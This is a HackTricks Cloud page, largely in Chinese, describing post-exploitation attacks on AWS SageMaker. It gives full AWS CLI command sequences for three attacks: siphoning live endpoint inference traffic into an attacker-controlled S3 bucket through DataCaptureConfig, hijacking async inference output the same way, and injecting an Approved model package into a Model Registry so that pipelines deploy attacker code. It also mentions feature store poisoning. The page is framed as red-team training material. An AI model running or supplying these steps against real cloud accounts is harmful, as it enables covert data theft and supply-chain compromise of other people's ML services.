AWS - SageMaker Post-Exploitation
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
滥用 SageMaker 端点管理功能,将完整的请求/响应捕获发送到攻击者控制的 S3 存储桶,而无需接触模型或容器。使用零/低停机时间的滚动更新,仅需要端点管理权限。
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(或使用同一账号中已存在的存储桶) - Optional (if using SSE‑KMS):
kms:Encrypton the chosen CMK - Target: 同一账号/区域中已存在的 InService 实时端点
Steps
- 识别一个 InService 端点并收集当前生产变体
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- 为捕获准备 attacker S3 目标
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- 创建一个新的 EndpointConfig,保持相同的 variants,但启用 DataCapture 将数据发送到 attacker bucket
Note: 使用显式 content types 以满足 CLI 验证。
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- 使用滚动更新应用新配置(最小/无停机时间)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- 生成至少一次推理调用(如果存在实时流量则可选)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- 在攻击者 S3 中验证捕获
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
影响
- 将目标 endpoint 的实时 inference 请求和响应载荷(及元数据)完全 exfiltration 到攻击者控制的 S3 存储桶。
- 不需要修改 model/container image,仅进行 endpoint‑级别的更改,从而在对运营影响最小的情况下启用隐蔽的数据窃取路径。
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
滥用 endpoint 管理,通过克隆当前 EndpointConfig 并设置 AsyncInferenceConfig.OutputConfig 的 S3OutputPath/S3FailurePath,将异步 inference 输出重定向到攻击者控制的 S3 存储桶。This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Ability to write to the attacker S3 bucket (via the model execution role or a permissive bucket policy)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
Steps
- Gather current ProductionVariants from the target endpoint
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- 创建 attacker bucket(确保 model execution role 能对其执行 PutObject)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- 克隆 EndpointConfig 并将 AsyncInference 输出劫持到 attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- 触发异步调用并验证对象是否落入攻击者 S3
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
影响
- 将异步 inference 结果(以及错误主体)重定向到攻击者控制的 S3,从而在不更改 model code 或 image 并且几乎无/无停机的情况下,隐蔽地外传预测结果以及容器产生的可能敏感的前处理/后处理输入。
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
如果攻击者可以在目标 SageMaker Model Package Group 上执行 CreateModelPackage,他们可以注册一个指向攻击者控制的 container image 的新模型版本并立即将其标记为 Approved。许多 CI/CD pipeline 会自动将 Approved 的模型版本部署到 endpoints 或 training jobs,从而导致在服务的 execution roles 下执行攻击者代码。通过宽松的 ModelPackageGroup resource policy,跨账户暴露可以被放大。
要求
- IAM(对污染现有组的最低权限):
sagemaker:CreateModelPackage在目标 ModelPackageGroup 上 - 可选(如果不存在则创建组):
sagemaker:CreateModelPackageGroup - S3:对引用的 ModelDataUrl 的读取权限(或托管 attacker-controlled artifacts)
- 目标:下游自动化会监控以查找 Approved 版本的 Model Package Group
步骤
- 设置 region 并创建/查找目标 Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- 在 S3 中准备示例模型数据
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- 注册一个恶意(此处为无害)已批准的模型包版本,该版本引用一个公共 AWS DLC 镜像
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- 验证新的 Approved 版本是否存在
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
影响
- 向 Model Registry 注入一个引用攻击者控制代码的 Approved 版本。自动部署 Approved 模型的流水线可能会拉取并运行该攻击者镜像,从而在 endpoint/training 角色下执行任意代码。
- 在具有宽松 ModelPackageGroup 资源策略 (PutModelPackageGroupPolicy) 的情况下,此滥用可以被跨账户触发。
Feature store poisoning
在启用了 OnlineStore 的 Feature Group 上滥用 sagemaker:PutRecord,可以覆盖在线推理所消费的实时特征值。结合 sagemaker:GetRecord,攻击者可以读取敏感特征。这不需要访问 models 或 endpoints。
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

